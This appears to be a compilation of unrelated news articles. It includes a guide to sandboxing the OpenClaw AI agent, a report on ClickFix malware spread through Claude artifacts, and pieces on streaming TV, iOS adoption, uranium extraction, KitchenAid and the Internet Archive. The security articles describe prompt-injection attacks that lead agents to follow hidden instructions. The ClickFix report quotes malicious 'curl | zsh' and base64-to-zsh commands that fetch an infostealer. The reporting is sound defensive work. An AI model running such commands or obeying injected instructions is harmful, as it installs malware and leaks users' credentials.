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How to test OpenClaw without giving an autonomous agent shell access to your corporate laptop

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Your developers are already running OpenClaw at home. Censys tracked the open-source AI agent from roughly 1,000 instances to over 21,000 publicly exposed deployments in under a week. Bitdefender’s GravityZone telemetry, drawn specifically from business environments, confirmed the pattern security leaders feared: employees deploying OpenClaw on corporate machines with single-line install commands, granting autonomous agents shell access, file system privileges, and OAuth tokens to Slack, Gmail, and SharePoint.

CVE-2026-25253, a one-click remote code execution flaw rated CVSS 8.8, lets attackers steal authentication tokens through a single malicious link and achieve full gateway compromise in milliseconds. A separate command injection vulnerability, CVE-2026-25157, allowed arbitrary command execution through the macOS SSH handler. A security analysis of 3,984 skills on the ClawHub marketplace found that 283, about 7.1% of the entire registry, contain critical security flaws that expose sensitive credentials in plaintext. And a separate Bitdefender audit found roughly 17% of skills it analyzed exhibited malicious behavior outright.

The credential exposure extends beyond OpenClaw itself. Wiz researchers discovered that Moltbook, the AI agent social network built on OpenClaw infrastructure, left its entire Supabase database publicly accessible with no Row Level Security enabled. The breach exposed 1.5 million API authentication tokens, 35,000 email addresses, and private messages between agents that contained plaintext OpenAI API keys. A single misconfiguration gave anyone with a browser full read and write access to every agent credential on the platform.

Setup guides say buy a Mac Mini. Security coverage says don’t touch it. Neither gives a security leader a controlled path to evaluation.

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And they’re coming fast. OpenAI’s Codex app hit 1 million downloads in its first week. Meta has been spotted testing OpenClaw integration in its AI platform codebase. A startup called ai.com spent $8 million on a Super Bowl ad to promote what turned out to be an OpenClaw wrapper, weeks after the project went viral.

Security leaders need a middle path between ignoring OpenClaw and deploying it on production hardware. Cloudflare’s Moltworker framework provides one: ephemeral containers that isolate the agent, encrypted R2 storage for persistent state, and Zero Trust authentication on the admin interface.

Why testing locally creates the risk it’s supposed to assess

OpenClaw operates with the full privileges of its host user. Shell access. File system read/write. OAuth credentials for every connected service. A compromised agent inherits all of it instantly.

Security researcher Simon Willison, who coined the term “prompt injection,” describes what he calls the “lethal trifecta” for AI agents: private data access, untrusted content exposure, and external communication capabilities combined in a single process. OpenClaw has all three — and by design. Organizational firewalls see HTTP 200. EDR systems are monitoring process behavior, not semantic content.

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A prompt injection embedded in a summarized web page or forwarded email can trigger data exfiltration that looks identical to normal user activity. Giskard researchers demonstrated exactly this attack path in January, exploiting shared session context to harvest API keys, environment variables, and credentials across messaging channels.

Making matters worse, the OpenClaw gateway binds to 0.0.0.0:18789 by default, exposing its full API to any network interface. Localhost connections authenticate automatically without credentials. Deploy behind a reverse proxy on the same server, and the proxy collapses the authentication boundary entirely, forwarding external traffic as if it originated locally.

Ephemeral containers change the math

Cloudflare released Moltworker as an open-source reference implementation that decouples the agent’s brain from the execution environment. Instead of running on a machine you’re responsible for, OpenClaw’s logic runs inside a Cloudflare Sandbox, an isolated, ephemeral micro-VM that dies when the task ends.

Four layers make up the architecture. A Cloudflare Worker at the edge handles routing and proxying. The OpenClaw runtime executes inside a sandboxed container running Ubuntu 24.04 with Node.js. R2 object storage handles encrypted persistence across container restarts. Cloudflare Access enforces Zero Trust authentication on every route to the admin interface.

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Containment is the security property that matters most. An agent hijacked through prompt injection gets trapped in a temporary container with zero access to your local network or files. The container dies, and the attack surface dies with it. There is nothing persistent to pivot from. No credentials sitting in a ~/.openclaw/ directory on your corporate laptop.

Four steps to a running sandbox

Getting a secure evaluation instance running takes an afternoon. Prior Cloudflare experience is not required.

Step 1: Configure storage and billing.

A Cloudflare account with a Workers Paid plan ($5/month) and an R2 subscription (free tier) covers it. The Workers plan includes access to Sandbox Containers. R2 provides encrypted persistence so conversation history and device pairings survive container restarts. For a pure security evaluation, you can skip R2 and run fully ephemeral. Data disappears on every restart, which may be exactly what you want.

Step 2: Generate tokens and deploy.

Clone the Moltworker repository, install dependencies, and set three secrets: your Anthropic API key, a randomly generated gateway token (openssl rand -hex 32), and optionally a Cloudflare AI Gateway configuration for provider-agnostic model routing. Run npm run deploy. The first request triggers container initialization with a one-to-two-minute cold start.

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Step 3: Enable Zero Trust authentication.

This is where the sandbox diverges from every other OpenClaw deployment guide. Configure Cloudflare Access to protect the admin UI and all internal routes. Set your Access team domain and application audience tag as Wrangler secrets. Redeploy. Accessing the agent’s control interface now requires authentication through your identity provider. That single step eliminates the exposed admin panels and token-in-URL leakage that Censys and Shodan scans keep finding across the internet.

Step 4: Connect a test messaging channel.

Start with a burner Telegram account. Set the bot token as a Wrangler secret and redeploy. The agent is reachable through a messaging channel you control, running in an isolated container, with encrypted persistence and authenticated admin access.

Total cost for a 24/7 evaluation instance runs roughly $7 to $10 per month. Compare that to a $599 Mac Mini sitting on your desk with full network access and plaintext credentials in its home directory.

A 30-day stress test before expanding access

Resist the impulse to connect anything real. The first 30 days should run exclusively on throwaway identities.

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Create a dedicated Telegram bot, and stand up a test calendar with synthetic data. If email integration matters, spin up a fresh account with no forwarding rules, no contacts, and no ties to corporate infrastructure. The point is watching how the agent handles scheduling, summarization, and web research without exposing data that would matter in a breach.

Pay close attention to credential handling. OpenClaw stores configurations in plaintext Markdown and JSON files by default, the same formats commodity infostealers like RedLine, Lumma, and Vidar have been actively targeting on OpenClaw installations. In the sandbox, that risk stays contained. On a corporate laptop, those plaintext files are sitting ducks for any malware already present on the endpoint.

The sandbox gives you a safe environment to run adversarial tests that are reckless and risky on production hardware, but there are exercises you could try:

Send the agent links to pages containing embedded prompt injection instructions and observe whether it follows them. Giskard’s research showed that agents would silently append attacker-controlled instructions to their own workspace HEARTBEAT.md file and wait for further commands from an external server. That behavior should be reproducible in a sandbox where the consequences are zero.

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Grant limited tool access, and watch whether the agent requests or attempts broader permissions. Monitor the container’s outbound connections for traffic to endpoints you didn’t authorize.

Test ClawHub skills before and after installation. OpenClaw recently integrated VirusTotal scanning on the marketplace, and every published skill gets scanned automatically now. Separately, Prompt Security’s ClawSec open-source suite adds drift detection for critical agent files like SOUL.md and checksum verification for skill artifacts, providing a second layer of validation.

Feed the agent contradictory instructions from different channels. Try a calendar invite with hidden directives. Send a Telegram message that attempts to override the system prompt. Document everything. The sandbox exists so these experiments carry no production risk.

Finally, confirm the sandbox boundary holds. Attempt to access resources outside the container. Verify that container termination kills all active connections. Check whether R2 persistence exposes state that should have been ephemeral.

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The playbook that outlasts OpenClaw

This exercise produces something more durable than an opinion on one tool. The pattern of isolated execution, tiered integrations, and structured validation before expanding trust becomes your evaluation framework for every agentic AI deployment that follows.

Building evaluation infrastructure now, before the next viral agent ships, means getting ahead of the shadow AI curve instead of documenting the breach it caused. The agentic AI security model you stand up in the next 30 days determines whether your organization captures the productivity gains or becomes the next disclosure.

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Claude LLM artifacts abused to push Mac infostealers in ClickFix attack

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Claude LLM artifacts abused to push Mac infostealers in ClickFix attack

Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.

At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.

A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.

Wiz

An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.

Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”

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Malicious HomeBrew search results
Malicious HomeBrew search results
Source: AdGuard

Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.

  • In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’
  • while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.
Second variant using a fake Apple Support page
Second variant using a fake Apple Support page
Source: Moonlock Lab

Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.

AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.

The ClickFix guide hosted on a Claude conversation
The ClickFix guide hosted on a Claude conversation
Source: Moonlock Lab

Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system. 

According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.

“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.

The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.

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MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.

A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted  after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.

The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).

Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.

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Modern IT infrastructure moves faster than manual workflows can handle.

In this new Tines guide, learn how your team can reduce hidden manual delays, improve reliability through automated response, and build and scale intelligent workflows on top of tools you already use.

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iOS 26 adoption rate isn't the crisis some analysts are portraying

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Apple’s February 2026 App Store data shows iOS 26 adoption closely tracking the pace set by iOS 18 in January 2025, and iPadOS 26 is ahead of iPadOS 18, undercutting claims that the upgrade cycle is faltering.

Tablet on a keyboard case sitting on an outdoor table, screen displaying colorful icons, with empty patio chairs, metal fence, and buildings in the background under a partly cloudy sky
Apple publishes OS 26 adoption data

Apple publishes operating system adoption rates based on devices that transacted on the App Store. The February 12, 2026 data can be measured against Apple’s January 24, 2025 published figures for a like-for-like comparison.
The breakdown separates recently introduced hardware from the full active installed base. Because Apple publishes these numbers annually, it allows for a category-matched comparison between the 2025 and 2026 cycles at the same stage.
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YouTube TV vs. Fubo vs. Hulu Live vs. Sling and More: 100 Top Live TV Streaming Channels Compared

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Before you’re tempted to attach yourself to a cable subscription, maybe it’s time to consider a live TV streaming service and let the cord go. The number of packages available today — for every kind of budget — is on the rise; however, live TV streaming services allow you to avoid those annoying contracts. They also offer a variety of channels, DVR and the ability to stream sports and other content. Plus, most services let you watch on your laptop or phone.  

Monthly pricing and regional sports networks can make it a challenge when choosing a live TV streamer but six main services to consider (we’re not including smaller ones) are FuboPhiloSling TVDirecTVYouTube TV and Hulu Plus Live TV

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It really boils down to the channels, right? We’ve examined which platforms feature the most top 100 channels in their main lineups to help you determine which one is best for your household.

The Big Chart: Top 100 channels compared (updated Feb. 2026)

The main difference between the services lies in their channel selection. All of them offer different lineups of channels for various prices. 

Below, you’ll find a chart that shows the top 100 channels across all six services. Note that not every service has a worthy 100. There are actually seven listed because Sling TV has two “base” tiers, Orange and Blue. And if you’re wondering, I chose which “top” channels made the cut. Sorry, AXS TV, Discovery Life, GSN and Universal HD.

Fubo and NBCUniversal still have not resolved their carriage dispute, resulting in a gap in Fubo’s channel lineup but a drop in monthly subscription prices. DirecTV offers signature streaming packages, and its basic plan starts at $90 per month, plus fees (excluding promotional rates). With channel losses and price hikes, some of the services may seem less appealing.

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Sling TV has made some changes to its Blue package in 2026. The price is $46 a month if you don’t have any local stations but the price has increased by $4 for those who do. If you have one or two local networks, such as NBC or Fox, the monthly rate is $50. Customers with three or more local stations in their Sling Blue package now pay $55 per month. 

Philo offers a small roster but packages HBO Max, Discovery Plus and AMC Plus access with it at no extra charge. But costs continue to go up and those changes are reflected in the chart below where applicable. 

Some more stuff to know about the chart: 

  • Yes = The channel is available on the cheapest pricing tier. That price is listed next to the service’s name.
  • No = The channel isn’t available at all on that service. 
  • $ = The channel is available for an extra fee, either a la carte or as part of a more expensive package or add-on.
  • Regional sports networks — local channels devoted to showing regular-season games of particular pro baseball, basketball and hockey teams — are not listed. DirecTV’s $130 tier has the most RSNs by far, but a few are available on other services. You can also check out its MySports package for $70 and Xfinity’s sports and news offering.
  • Local ABC, CBS, Fox, NBC, MyNetworkTV and The CW networks are not available in every city. Because the availability of these channels varies, you’ll want to check the service’s website to verify that it carries your local network.
  • Local PBS stations are only currently available on DirecTV, Hulu Live and YouTube TV. Again, you’ll want to check local availability.
  • Sling Blue subscribers in cities like Philadelphia, Chicago, Los Angeles and New York City pay extra for access to channels like NBC and ABC. Check Sling’s site to see which local channels are available in your area.
  • Fubo subscribers get an $11 price decrease on its Pro and Elite plans amid the NBCU carriage dispute, but you may find that the ACC Network and SEC Network are included with the TV package at no extra cost. Check availability for your state.
  • The chart columns are arranged in order of price, so if you can’t see everything you want, try scrolling right.
  • Overwhelmed? An easier-to-understand Google Spreadsheet is here.

Philo vs. Sling TV vs. Fubo vs. YouTube TV vs. DirecTV vs. Hulu: Top 100 channels compared

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Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Total channels: 43 24 34 39 78 56 75
ABC No No No Yes Yes Yes Yes
CBS No No No Yes Yes Yes Yes
Fox No No Yes (some markets) Yes Yes Yes Yes
NBC No No Yes (some markets0 No (due to carriage dispute) Yes Yes Yes
PBS No No No No Yes Yes Yes
CW No No No Yes Yes Yes (limited) Yes
MyNetworkTV No No No No Yes Yes Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
A&E Yes Yes Yes No No $ Yes
ACC Network No $ No Yes Yes $ Yes
Accuweather Yes No No Yes No Yes No
AMC Yes Yes Yes No Yes Yes No
Animal Planet Yes No No No Yes Yes Yes
BBC America Yes Yes Yes No Yes Yes No
BBC World News Yes $ $ No Yes $ No
BET Yes Yes Yes Yes Yes Yes Yes
Big Ten Network No No $ Yes Yes $ Yes
Bloomberg TV No Yes Yes Yes No Yes Yes
Boomerang No $ $ No No Yes $
Bravo No No Yes No (due to carriage dispute) Yes Yes Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Cartoon Network No No Yes No Yes Yes Yes
CBS Sports Network No No No Yes Yes $ Yes
Cheddar Yes No No Yes Yes Yes Yes
Cinemax No No No No $ $ $
CMT Yes $ $ Yes Yes Yes Yes
CNBC No No $ No (due to carriage dispute) Yes Yes Yes
CNN No Yes Yes No Yes Yes Yes
Comedy Central Yes Yes Yes Yes Yes Yes Yes
Cooking Channel Yes $ $ $ No $ $
Destination America Yes $ $ $ No $ $
Discovery Channel Yes No Yes No Yes Yes Yes
Disney Channel No Yes No Yes Yes Yes Yes
Disney Junior No $ No Yes Yes Yes Yes
Disney XD No $ No Yes Yes Yes Yes
E! No No Yes No (due to carriage dispute) Yes Yes Yes
ESPN No Yes No Yes Yes Yes Yes
ESPN 2 No Yes No Yes Yes Yes Yes
ESPNEWS No $ No $ Yes $ Yes
ESPNU No $ No $ Yes $ Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) Fubo ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Food Network Yes Yes Yes No Yes Yes Yes
Fox Business No No $ Yes Yes Yes Yes
Fox News No No Yes Yes Yes Yes Yes
FS1 No No Yes Yes Yes Yes Yes
FS2 No No $ Yes Yes $ Yes
Freeform No Yes No Yes Yes Yes Yes
FX No No Yes Yes Yes Yes Yes
FX Movies No No $ $ Yes $ Yes
FXX No No $ Yes Yes Yes Yes
FYI Yes $ $ No No $ Yes
Golf Channel No No $ No (due to carriage dispute) Yes $ Yes
Hallmark Yes $ $ Yes Yes Yes Yes
HBO/Max No No No No $ $ $
HGTV Yes Yes Yes No Yes Yes Yes
History Yes Yes Yes No No $ Yes
HLN No $ Yes No Yes Yes Yes
IFC Yes Yes Yes No Yes Yes No
Investigation Discovery Yes Yes Yes No Yes Yes Yes
Lifetime Yes Yes Yes No No $ Yes
Lifetime Movie Network Yes $ $ No No $ Yes
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) FuboTV ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
Magnolia Network Yes $ $ No Yes $ Yes
MeTV Yes Yes Yes Yes No Yes No
MGM+ $ $ $ No $ $ No
MLB Network No $ $ $ No $ Yes
Motor Trend Yes Yes No No Yes Yes Yes
MSNBC No No Yes No (due to carriage dispute) Yes Yes Yes
MTV Yes $ $ Yes Yes Yes Yes
MTV2 Yes $ $ $ Yes Yes $
National Geographic No No Yes Yes Yes No Yes
Nat Geo Wild No No $ $ Yes $ Yes
NBA TV No $ $ $ Yes $ No
NFL Network No No Yes Yes Yes $ Yes
NFL Red Zone No No $ $ $ No $
NHL Network No $ $ $ No $ No
Nickelodeon Yes No No Yes Yes Yes Yes
Nick Jr. Yes Yes Yes Yes Yes $ Yes
Nicktoons Yes $ $ $ Yes $ $
OWN Yes No No No Yes $ Yes
Oxygen No No $ Yes Yes $ Yes
Paramount Network Yes $ $ Yes Yes Yes Yes
Science Yes $ $ $ No $ $
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) FuboTV ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)
SEC Network No $ No $ Yes $ Yes
Showtime No $ $ $ $ $ $
Smithsonian Yes No No Yes Yes $ Yes
Starz $ $ $ $ $ $ $
Sundance TV Yes $ $ No Yes Yes No
Syfy No No Yes No (due to carriage dispute) Yes Yes Yes
Tastemade Yes $ $ Yes Yes $ No
TBS No Yes Yes No Yes Yes Yes
TCM No $ $ No Yes $ Yes
TeenNick Yes $ $ $ Yes Yes $
Telemundo No No No Yes Yes $ Yes
Tennis Channel No $ $ $ No $ No
TLC Yes No Yes No Yes Yes Yes
TNT No Yes Yes No Yes Yes Yes
Travel Channel Yes Yes Yes No Yes $ Yes
TruTV No $ Yes No Yes $ Yes
TV Land Yes $ $ Yes Yes Yes Yes
USA Network No No Yes No (due to carriage dispute) Yes Yes Yes
VH1 Yes $ $ Yes Yes Yes Yes
Vice Yes Yes Yes No No $ Yes
WE tv Yes $ $ No Yes Yes No
Channel Philo ($33) Sling Orange ($46) Sling Blue ($46) FuboTV ($74) YouTube TV ($83) DirecTV ($90) Hulu with Live TV ($90)

James Martin/CNET

Hulu Plus Live TV, which includes access to Disney Plus, Hulu on-demand and ESPN Plus, is one of the most expensive platforms, now at $90 a month for its base package. Its channel selection isn’t as robust as YouTube TV, but Hulu’s significant catalog of on-demand content sets it apart. ABC shows like High Potential and exclusive titles such as Shōgun, The Bear and Only Murders in the Building give it a content advantage.

Live TV subscribers also receive unlimited DVR that includes fast-forwarding and on-demand playback — at no additional cost. It’s a move that has aligned Hulu with its competitors in terms of features but the channel lineup may still be a deciding factor. It’s pricier than YouTube TV, which has more channels, but the access to Disney Plus and ESPN may make it a more appealing choice for you. Read our Hulu Plus Live TV review.

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James Martin/CNET

Apart from its current carriage dispute with Disney, YouTube has an excellent channel selection, easy-to-use interface and best-in-class cloud DVR. Typically, the $83-per-month service is one of the best cable TV replacements. It offers a 4K upgrade add-on for an additional price, but the downside is that there isn’t much to watch at present unless you watch select channels. If you don’t mind paying a bit more than the Sling TVs of the world, or want to watch live NBA games, YouTube TV offers a high standard of live TV streaming. Read our YouTube TV review.

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Sarah Tew/CNET

If you want to save a little money and don’t mind missing out on local channels, Sling TV is the best of the budget services. Its Orange and Blue packages start at $46 per month, and you can combine them for a monthly rate of $61 (more in some regions). The Orange option nets you one stream, while Blue gives you three. It’s not as comprehensive or as easy to navigate as YouTube TV, but with a bit of work, including adding an antenna or an AirTV 2 DVR, it’s an unbeatable value. We’ll also add that the service offers local channels such as ABC and CBS in some regions, where the monthly rate is $50 or $55. Read our Sling TV review.

Zooey Liao/CNET
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DirecTV’s base signature streaming package costs more than all the other platforms on this list  except Hulu Plus Live TV, and its stiffest competition is still Hulu and YouTube TV. With its channel selection, it’s ideal for sports fans who want to watch local or national games. 

The service does have its benefits, though — for example, it includes the flipper-friendly ability to swipe left and right to change channels. Additionally, it includes some channels that some other services can’t, including nearly 250 PBS stations nationwide. The $90 Entertainment package may suit your needs with its 90-plus channels and the inclusion of ESPN Unlimited. But for cord-cutters who want to follow their local NBA or MLB team, DirecTV’s pricier Choice package is a more robust live TV streaming pick because it has access to more regional sports networks than the competition. Nonetheless, you’ll want to make sure your channel is included here and not available on one of our preferred picks before you pony up. Read our DirecTV streaming service review.

Ty Pendlebury/CNET
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There’s a lot to like about Fubo — it offers a wide selection of channels and its sports focus makes it especially attractive to soccer fans or NBA, NHL and MLB fans who live in an area served by one of Fubo’s RSNs. It’s also a great choice for NFL fans because it’s one of three services, alongside YouTube TV and Hulu, that offer NFL Network and optional RedZone. The biggest hole in Fubo’s lineup is the lack of Warner Bros. Discovery networks, including Cartoon Network, CNN, Food Network, HGTV, TBS and TNT — especially as the latter two carry a lot of sports content, in particular MLB, NBA and NHL. Its current dispute with NBCU is causing more channel losses (no ABC, Bravo, etc.). Those missing channels, and the $74 price tag for the base plan, make it less attractive than YouTube TV for most viewers. Read our Fubo review.

Sarah Tew/CNET

Philo’s Core plan is now $33 and includes the AMC Plus bundle and HBO Max at no extra cost, and it’s still a cheap live TV streaming service with a variety of channels. But it lacks sports channels, local stations and big-name news networks — although BBC News and Cheddar are available. Philo offers bread-and-butter cable staples like Comedy Central, Hallmark Channel and Nickelodeon, and specializes in lifestyle and reality programming. It’s also one of the most affordable live services that streams Paramount, home of Yellowstone, and includes a cloud DVR, as well as optional add-ons from Hallmark Plus and Starz. We think most people are better off paying a few bucks more for Sling TV’s superior service, but if Philo has every channel you want, it’s a decent deal. Read our Philo review.

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China extracts uranium from seawater, moving closer to the 2050 goal of “unlimited battery life” with oceans full of fuel

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  • China successfully extracted kilogram-level uranium from seawater under real marine conditions
  • Oceans contain far more uranium than all known land-based deposits combined
  • Seawater uranium concentration is extremely low, making recovery technically demanding

Chinese scientists have revealed successful kilogram-scale uranium extraction from seawater under real marine conditions, a milestone which moves the concept beyond laboratory testing.

The announcement came through state-linked nuclear institutions, and was tied to the operation of a dedicated offshore test platform in the South China Sea.

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This is the KitchenAid colour of 2026

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KitchenAid has revealed Spearmint as its official Colour of the Year for 2026, introducing a pastel green finish that will appear across select appliances and shape the brand’s design direction over the coming months.

The company applies its annual colour selection to highlight shifting consumer preferences in kitchen design, often aligning small appliance aesthetics with broader interior trends that emphasise softness and muted tones.

Spearmint launches on the KitchenAid Artisan Series 5-Quart Tilt-Head Stand Mixer, which is now available in the new finish with a list price of $549.99 / £699.

Unlike last year’s Butter shade, which featured a subtle sheen, Spearmint uses what KitchenAid describes as a sandy, tactile finish that contrasts with the brushed stainless steel mixing bowl.

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KitchenAid has previously used its Colour of the Year programme to introduce distinctive finishes such as Blue Salt in 2024 and Hibiscus in 2023, both of which expanded beyond seasonal novelty into broader product styling cues.

Past selections have often reflected wider décor movements, including warm neutrals and expressive accent tones, reinforcing how appliance finishes now play a visible role in open-plan kitchen design.

Spearmint continues that direction by leaning into softer green hues, which have gained traction in cabinetry, tiling and countertop accessories across contemporary interiors.

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The release also coincides with Pantone’s own 2026 selection, though KitchenAid has chosen a mint-inspired tone rather than directly aligning with Pantone’s softer white palette this year.

Sweepstakes and extended appliance rollout

KitchenAid has launched a Colour of the Year sweepstake running from February 12 to February 26, offering five winners a Spearmint stand mixer alongside a matching limited-edition 36-inch dual-fuel commercial-style range cooker.

This marks the first time KitchenAid has extended its Colour of the Year beyond countertop appliances into a larger kitchen fixture, signalling a broader application of the annual design theme.

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The limited-edition range cooker will be available exclusively through the sweepstakes, with no standalone retail availability announced at this stage.

KitchenAid has not confirmed whether Spearmint will expand to additional appliances later in 2026, though previous Colour of the Year finishes have appeared across multiple product categories over time.

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News Publishers Are Now Blocking The Internet Archive, And We May All Regret It

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from the our-digital-history dept

Last fall, I wrote about how the fear of AI was leading us to wall off the open internet in ways that would hurt everyone. At the time, I was worried about how companies were conflating legitimate concerns about bulk AI training with basic web accessibility. Not surprisingly, the situation has gotten worse. Now major news publishers are actively blocking the Internet Archive—one of the most important cultural preservation projects on the internet—because they’re worried AI companies might use it as a sneaky “backdoor” to access their content.

This is a mistake we’re going to regret for generations.

Nieman Lab reports that The Guardian, The New York Times, and others are now limiting what the Internet Archive can crawl and preserve:

When The Guardian took a look at who was trying to extract its content, access logs revealed that the Internet Archive was a frequent crawler, said Robert Hahn, head of business affairs and licensing. The publisher decided to limit the Internet Archive’s access to published articles, minimizing the chance that AI companies might scrape its content via the nonprofit’s repository of over one trillion webpage snapshots.

Specifically, Hahn said The Guardian has taken steps to exclude itself from the Internet Archive’s APIs and filter out its article pages from the Wayback Machine’s URLs interface. The Guardian’s regional homepages, topic pages, and other landing pages will continue to appear in the Wayback Machine.

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The Times has gone even further:

The New York Times confirmed to Nieman Lab that it’s actively “hard blocking” the Internet Archive’s crawlers. At the end of 2025, the Times also added one of those crawlers — archive.org_bot — to its robots.txt file, disallowing access to its content.

“We believe in the value of The New York Times’s human-led journalism and always want to ensure that our IP is being accessed and used lawfully,” said a Times spokesperson. “We are blocking the Internet Archive’s bot from accessing the Times because the Wayback Machine provides unfettered access to Times content — including by AI companies — without authorization.”

I understand the concern here. I really do. News publishers are struggling, and watching AI companies hoover up their content to train models that might then, in some ways, compete with them for readers is genuinely frustrating. I run a publication myself, remember.

But blocking the Internet Archive isn’t going to stop AI training. What it will do is ensure that significant chunks of our journalistic record and historical cultural context simply… disappear.

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And that’s bad.

The Internet Archive is the most famous nonprofit digital library, and has been operating for nearly three decades. It isn’t some fly-by-night operation looking to profit off publisher content. It’s trying to preserve the historical record of the internet—which is way more fragile than most people comprehend. When websites disappear—and they disappear constantly—the Wayback Machine is often the only place that content still exists. Researchers, historians, journalists, and ordinary citizens rely on it to understand what actually happened, what was actually said, what the world actually looked like at a given moment.

In a digital era when few things end up printed on paper, the Internet Archive’s efforts to permanently preserve our digital culture are essential infrastructure for anyone who cares about historical memory.

And now we’re telling them they can’t preserve the work of our most trusted publications.

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Think about what this could mean in practice. Future historians trying to understand 2025 will have access to archived versions of random blogs, sketchy content farms, and conspiracy sites—but not The New York Times. Not The Guardian. Not the publications that we consider the most reliable record of what’s happening in the world. We’re creating a historical record that’s systematically biased against quality journalism.

Yes, I’m sure some will argue that the NY Times and The Guardian will never go away. Tell that to the readers of the Rocky Mountain News, which published for 150 years before shutting down in 2009, or to the 2,100+ newspapers that have closed since 2004. Institutions—even big, prominent, established ones—don’t necessarily last.

As one computer scientist quoted in the Nieman piece put it:

“Common Crawl and Internet Archive are widely considered to be the ‘good guys’ and are used by ‘the bad guys’ like OpenAI,” said Michael Nelson, a computer scientist and professor at Old Dominion University. “In everyone’s aversion to not be controlled by LLMs, I think the good guys are collateral damage.”

That’s exactly right. In our rush to punish AI companies, we’re destroying public goods that serve everyone.

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The most frustrating bit of all of this: The Guardian admits they haven’t actually documented AI companies scraping their content through the Wayback Machine. This is purely precautionary and theoretical. They’re breaking historical preservation based on a hypothetical threat:

The Guardian hasn’t documented specific instances of its webpages being scraped by AI companies via the Wayback Machine. Instead, it’s taking these measures proactively and is working directly with the Internet Archive to implement the changes.

And, of course, as one of the “good guys” of the internet, the Internet Archive is willing to do exactly what these publishers want. They’ve always been good about removing content or not scraping content that people don’t want in the archive. Sometimes to a fault. But you can never (legitimately) accuse them of malicious archiving (even if music labels and book publishers have).

Either way, we’re sacrificing the historical record not because of proven harm, but because publishers are worried about what might happen. That’s a hell of a tradeoff.

This isn’t even new, of course. Last year, Reddit announced it would block the Internet Archive from archiving its forums—decades of human conversation and cultural history—because Reddit wanted to monetize that content through AI licensing deals. The reasoning was the same: can’t let the Wayback Machine become a backdoor for AI companies to access content Reddit is now selling. But once you start going down that path, it leads to bad places.

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The Nieman piece notes that, in the case of USA Today/Gannett, it appears that there was a company-wide decision to tell the Internet Archive to get lost:

In total, 241 news sites from nine countries explicitly disallow at least one out of the four Internet Archive crawling bots.

Most of those sites (87%) are owned by USA Today Co., the largest newspaper conglomerate in the United States formerly known as Gannett. (Gannett sites only make up 18% of Welsh’s original publishers list.) Each Gannett-owned outlet in our dataset disallows the same two bots: “archive.org_bot” and “ia_archiver-web.archive.org”. These bots were added to the robots.txt files of Gannett-owned publications in 2025.

Some Gannett sites have also taken stronger measures to guard their contents from Internet Archive crawlers. URL searches for the Des Moines Register in the Wayback Machine return a message that says, “Sorry. This URL has been excluded from the Wayback Machine.”

A Gannett spokesperson told NiemanLab that it was about “safeguarding our intellectual property” but that’s nonsense. The whole point of libraries and archives is to preserve such content, and they’ve always preserved materials that were protected by copyright law. The claim that they have to be blocked to safeguard such content is both technologically and historically illiterate.

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And here’s the extra irony: blocking these crawlers may not even serve publishers’ long-term interests. As I noted in my earlier piece, as more search becomes AI-mediated (whether you like it or not), being absent from training datasets increasingly means being absent from results. It’s a bit crazy to think about how much effort publishers put into “search engine optimization” over the years, only to now block the crawlers that feed the systems a growing number of people are using for search. Publishers blocking archival crawlers aren’t just sacrificing the historical record—they may be making themselves invisible in the systems that increasingly determine how people discover content in the first place.

The Internet Archive’s founder, Brewster Kahle, has been trying to sound the alarm:

“If publishers limit libraries, like the Internet Archive, then the public will have less access to the historical record.”

But that warning doesn’t seem to be getting through. The panic about AI has become so intense that people are willing to sacrifice core internet infrastructure to address it.

What makes this particularly frustrating is that the internet’s openness was never supposed to have asterisks. The fundamental promise wasn’t “publish something and it’s accessible to all, except for technologies we decide we don’t like.” It was just… open. You put something on the public web, people can access it. That simplicity is what made the web transformative.

